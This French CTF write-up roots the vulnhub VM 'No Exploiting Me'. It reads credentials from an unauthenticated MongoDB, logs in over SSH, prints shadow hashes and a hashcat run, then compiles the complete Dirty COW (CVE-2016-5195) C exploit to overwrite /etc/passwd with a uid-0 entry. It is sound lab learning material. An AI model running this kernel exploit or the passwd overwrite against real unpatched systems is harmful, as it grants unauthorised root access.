Au programme de cet article, l’élévation de privilège sur
le CTF ‘no exploiting me’ sorti il y a quelques temps déjà, produit par
Brian Wallace AKA « bwall’, AKA « bot_hunter ».
En errant sur Root-me
en quête de CTF, je me suis arrêté cette fois sur le CTF « no
exploiting me ». Je m’y étais déjà cassé un peu les dents il y a
quelques temps, mais avec la découverte de Dirty Cow, j’ai eu l’envie de
m’y replonger. Pour ceux désirant récupérer la VM, elle est
téléchargeable directement sur vulnhub
J’ai pour habitude d’utiliser VMware workstation pour mes testes/ctf, la VM étant au format VDI j’ai dû tout simplement :
|
|
root@kali:~/Bureau# VBoxManage clonehd NoExploitingMe.vdi NoExploitingMe.vmdk --format VMDK 0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100% Clone medium created in format 'VMDK'. UUID: 9a99ae60-2e9a-46ba-aa49-b620acb0895d |

la VM étant lancée, il n’y a plus qu’a s’y mettre.
|
|
root@kali:~/Bureau# nmap 192.168.211.0/24 -sP Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-02 09:49 CET MAC Address: 00:50:56:E5:BC:90 (VMware) Nmap scan report for 192.168.211.137 Host is up (0.00027s latency). |
NMAP m’indique que la cible se situe sur la 192.168.211.137
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
root@kali:~/Bureau# nmap 192.168.211.137 -sV -O -PN -p 1-65535 Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-02 10:25 CET Nmap scan report for 192.168.211.137 Host is up (0.00060s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze3 (protocol 2.0) 80/tcp open http Apache httpd 2.2.16 ((Debian)) 27017/tcp open mongodb MongoDB 2.4.6 28017/tcp open http MongoDB http console MAC Address: 00:0C:29:CF:25:EF (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6.32 OS details: Linux 2.6.32 Network Distance: 1 hop Service Info: Host: NoExploitingMe; OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds |
Le port 80 nous conduit vers une page web d’authentification classique :

Mais NMAP nous indique surtout la présence de MongoDB. MongoDB est un
système de base de données classifié de NOSQL. C’est un système orienté
« document » contrairement à un système de base de données
relationnelles où les informations sont stockées par ligne dans des
tables, dans MongoDB, l’information est modélisée sur un document au
format JSON (Javascript Object Notation). Mais plus important
encore, MongoDB ne doit pas être exposé sur internet car il ne dispose
d’aucun système d’authentification propre, comme celui de Mysql par
exemple.
Pour s’y connecter, rien de plus simple. Par exemple via l’outil (multiplateforme) robomongo, aucune authentification n’est requise et il nous listera l’intégralité de la base, compte USERS compris !

Nous aurions également pu utiliser l’outil NoSQLMAP

Facilement, nous récupérons les credentials du compte :
{
« _id » : ObjectId(« 5794cdcae0ea4f0ae69a3290 »),
« user » : « badadmin »,
« password » : « yes, this password does get reused »
}
si l’on retourne sur la page web, l’authentification fonctionne mais
ne nous apporte rien d’intéressant. Elle nous envoie vers un formulaire
nslookup, vulnérable lui aussi, mais sans intérêt pour la suite.
Essayons maintenant de nous connecter via SSH.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
root@kali:~/Bureau# ssh badadmin@192.168.211.137 The authenticity of host '192.168.211.137 (192.168.211.137)' can't be established. RSA key fingerprint is SHA256:lgu2m744fyHyIOHIxsEoDZQFTP27bynIisydy2nccrE. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.211.137' (RSA) to the list of known hosts. badadmin@192.168.211.137's password: Linux NoExploitingMe 2.6.32-5-686 #1 SMP Fri May 10 08:33:48 UTC 2013 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. badadmin@NoExploitingMe:~$ id uid=1000(badadmin) gid=1000(badadmin) groups=1000(badadmin),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev) badadmin@NoExploitingMe:~$ |
Reste l’élévation de privilège. J’ai mis un peu de temps pour trouver
une solution satisfaisante. J’ai fouillé sur le serveur afin de
récupérer quelques informations, je pense notamment au fichier
Genhashes.py à la racine, dont l’utilité m’est encore obscure pour
l’élévation de privilège.
Ensuite un : find / -user badadmin -type f 2> /dev/null m’aura permis de tomber sur un /etc/shadow.backup intéressant.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
|
root:$6$76E0ztyw$sgBZAekia9WO8k3bM2/xpPVkISpvmB7SDIzjmZHi0uN8wHfdUSfpgQ1AZpdtA6rRGZN7SYcHQujSHF3xwog030:15950:0:99999:7::: daemon:*:15949:0:99999:7::: bin:*:15949:0:99999:7::: sys:*:15949:0:99999:7::: sync:*:15949:0:99999:7::: games:*:15949:0:99999:7::: man:*:15949:0:99999:7::: lp:*:15949:0:99999:7::: mail:*:15949:0:99999:7::: news:*:15949:0:99999:7::: uucp:*:15949:0:99999:7::: proxy:*:15949:0:99999:7::: www-data:*:15949:0:99999:7::: backup:*:15949:0:99999:7::: list:*:15949:0:99999:7::: irc:*:15949:0:99999:7::: gnats:*:15949:0:99999:7::: nobody:*:15949:0:99999:7::: libuuid:!:15949:0:99999:7::: badadmin:$6$ShlSo9yK$iV8rDXanfKij2AlFTDHlk7O6thRUZsTSFHL7aHclHRgzOeuJoVtMeu3jAqzodilguinqnL6rFC2h7Q5ihU9.p/:15950:0:99999:7::: mongodb:*:15949:0:99999:7::: sshd:*:15950:0:99999:7::: |
Là je me dit , chouette une piste ! dégainons HASHCAT et voyons si un bon dico viendrait à bout du SHA512
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
1800 | sha512crypt $6$, SHA512(Unix) cudaHashcat64.exe -m 1800 -a 0 -o found.txt shadow.txt rockyou.txt Session.Name...: cudaHashcat Status.........: Running Input.Mode.....: File (rockyou.txt) Hash.Target....: $6$76E0ztyw$sgBZAekia9WO8k3bM2/xpPVkISpvm... Hash.Type......: sha512crypt, SHA512(Unix) Time.Started...: Mon Oct 31 09:04:13 2016 (11 secs) Time.Estimated.: Mon Oct 31 09:10:02 2016 (5 mins, 37 secs) Speed.GPU.#1...: 43601 H/s Recovered......: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts Progress.......: 499442/14343297 (3.48%) Rejected.......: 242/499442 (0.05%) Restore.Point..: 499430/14343297 (3.48%) HWMon.GPU.#1...: 98% Util, 51c Temp, 970rpm Fan |
Malheureusement cela n’a rien donné :/ j’ai tenté avec un brute force
classique, sur 7 caractères (39heures qd même sur une gtx 970) ce
n’était pas mieux… déprimant.
Reste à s’orienter vers un exploit kernel. Lorsque je cherche à
élever mes privilèges par le biais d’un exploit, je me renseigne un
maximum sur la machine cible, version du noyaux, type d’OS,
etc. Pour automatiser cette tâche j’utilise de temps en temps un
script : http://www.securitysift.com/download/linuxprivchecker.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
|
FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS... Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested! The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system - 2.6 UDEV < 141 Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8572 || Language=c - Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit || http://www.exploit-db.com/exploits/5720 || Language=python - 2.6 UDEV Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8478 || Language=c The following exploits are applicable to this kernel version and should be investigated as well - Kernel ia32syscall Emulation Privilege Escalation || http://www.exploit-db.com/exploits/15023 || Language=c - Sendpage Local Privilege Escalation || http://www.exploit-db.com/exploits/19933 || Language=ruby** - 2.x sock_sendpage() Local Root Exploit 2 || http://www.exploit-db.com/exploits/9436 || Language=c - 2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver) || http://www.exploit-db.com/exploits/9479 || Language=c - 2.6 UDEV < 141 Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8572 || Language=c - 2.x sock_sendpage() Local Ring0 Root Exploit || http://www.exploit-db.com/exploits/9435 || Language=c - CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) || http://www.exploit-db.com/exploits/15944 || Language=c - Linux RDS Protocol Local Privilege Escalation || http://www.exploit-db.com/exploits/15285 || Language=c - 2.6.x ptrace_attach Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8673 || Language=c - 2.4/2.6 bluez Local Root Privilege Escalation Exploit (update) || http://www.exploit-db.com/exploits/926 || Language=c - CAP_SYS_ADMIN to root Exploit || http://www.exploit-db.com/exploits/15916 || Language=c - 2.6 UDEV Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8478 || Language=c - MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c - < 2.6.36.2 Econet Privilege Escalation Exploit || http://www.exploit-db.com/exploits/17787 || Language=c - 'pipe.c' Local Privilege Escalation Vulnerability || http://www.exploit-db.com/exploits/10018 || Language=sh - <= 2.6.37 Local Privilege Escalation || http://www.exploit-db.com/exploits/15704 || Language=c - open-time Capability file_ns_capable() Privilege Escalation || http://www.exploit-db.com/exploits/25450 || Language=c - 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation || http://www.exploit-db.com/exploits/9844 || Language=python - open-time Capability file_ns_capable() - Privilege Escalation Vulnerability || http://www.exploit-db.com/exploits/25307 || Language=c - 2.4/2.6 sock_sendpage() Local Root Exploit [2] || http://www.exploit-db.com/exploits/9598 || Language=c - < 2.6.36-rc1 CAN BCM Privilege Escalation Exploit || http://www.exploit-db.com/exploits/14814 || Language=c - 2.4/2.6 sock_sendpage() Local Root Exploit (ppc) || http://www.exploit-db.com/exploits/9545 || Language=c - < 2.6.37-rc2 ACPI custom_method Privilege Escalation || http://www.exploit-db.com/exploits/15774 || Language=c - 2.4/2.6 sock_sendpage() Local Root Exploit [3] || http://www.exploit-db.com/exploits/9641 || Language=c - 2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/895 || Language=c |
J’ai tenté les plus prometteurs mais sans succès.. Je commençais à
baisser les bras puis je me suis dit, pourquoi ne pas tenter un exploit +
récent ? Pourquoi ne pas tenter avec Dirty COW (CVE-2016-5195). La
vulnérabilité Dirty Cow tire son nom de l’abréviation des fonctionnalités Copy-On-Write du noyau. Cette fameuse vulnérabilité vielle de 9 années récemment dévoilée au travers de (très) nombreux POCs exploite un race condition dans les opérations du kernel.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
|
/ $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball #include <fcntl.h> //// pikachu #include <pthread.h> //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball #include <string.h> //// pokeball #include <stdio.h> //// (___) #include <stdint.h> //// (o o)_____/ #include <sys/mman.h> //// @@ ` \ #include <sys/types.h> //// \ ____, /miltank #include <sys/stat.h> //// // // #include <sys/wait.h> //// ^^ ^^ #include <sys/ptrace.h> //// mmap bc757000 #include <unistd.h> //// madvise 0 ////////////////////////////////////////////// ptrace 0 ////////////////////////////////////////////// miltank ////////////////////////////////////////////// int f ;// file descriptor void *map ;// memory map pid_t pid ;// process id pthread_t pth ;// thread struct stat st ;// file info ////////////////////////////////////////////// void *madviseThread(void *arg) {// madvise thread int i,c=0 ;// counters for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8 c+=madvise(map,100,MADV_DONTNEED) ;// race condition printf("madvise %d\n\n",c) ;// sum of errors }// /madvise thread ////////////////////////////////////////////// int main(int argc,char *argv[]) {// entrypoint if(argc<3)return 1 ;// ./d file contents printf("%s \n\ (___) \n\ (o o)_____/ \n\ @@ ` \\ \n\ \\ ____, /%s \n\ // // \n\ ^^ ^^ \n\ ", argv[1], argv[2]) ;// dirty cow f=open(argv[1],O_RDONLY) ;// open read only file fstat(f,&st) ;// stat the fd map=mmap(NULL ,// mmap the file st.st_size+sizeof(long) ,// size is filesize plus padding PROT_READ ,// read-only MAP_PRIVATE ,// private mapping for cow f ,// file descriptor 0) ;// zero printf("mmap %lx\n\n",(unsigned long)map);// sum of error code pid=fork() ;// fork process if(pid) {// if parent waitpid(pid,NULL,0) ;// wait for child int u,i,o,c=0,l=strlen(argv[2]) ;// util vars (l=length) for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l for(o=0;o<l;o++)//////////////////////// repeat for each byte for(u=0;u<10000;u++)////////////////// try 10K times each time c+=ptrace(PTRACE_POKETEXT ,// inject into memory pid ,// process id map+o ,// address *((long*)(argv[2]+o))) ;// value printf("ptrace %d\n\n",c) ;// sum of error code }// otherwise else {// child pthread_create(&pth ,// create new thread NULL ,// null madviseThread ,// run madviseThred NULL) ;// null ptrace(PTRACE_TRACEME) ;// stat ptrace on child kill(getpid(),SIGSTOP) ;// signal parent pthread_join(pth,NULL) ;// wait for thread }// / child return 0 ;// return }// / entrypoint ////////////////////////////////////////////// |

On compile
|
|
gcc -pthread pokemon.c -o d |
et on lance :
|
|
./d /etc/passwd "badadmin:x:0:0:root:/root:/bin/bash" |
l’idée est ici de donner les droits root à notre compte user ‘badadmin’
en écrivant dans /etc/passwd, fichier logiquement ‘read only’.

L’exploit terminé, il n’y a pu qu’à se reconnecter via SSH :

et voila :)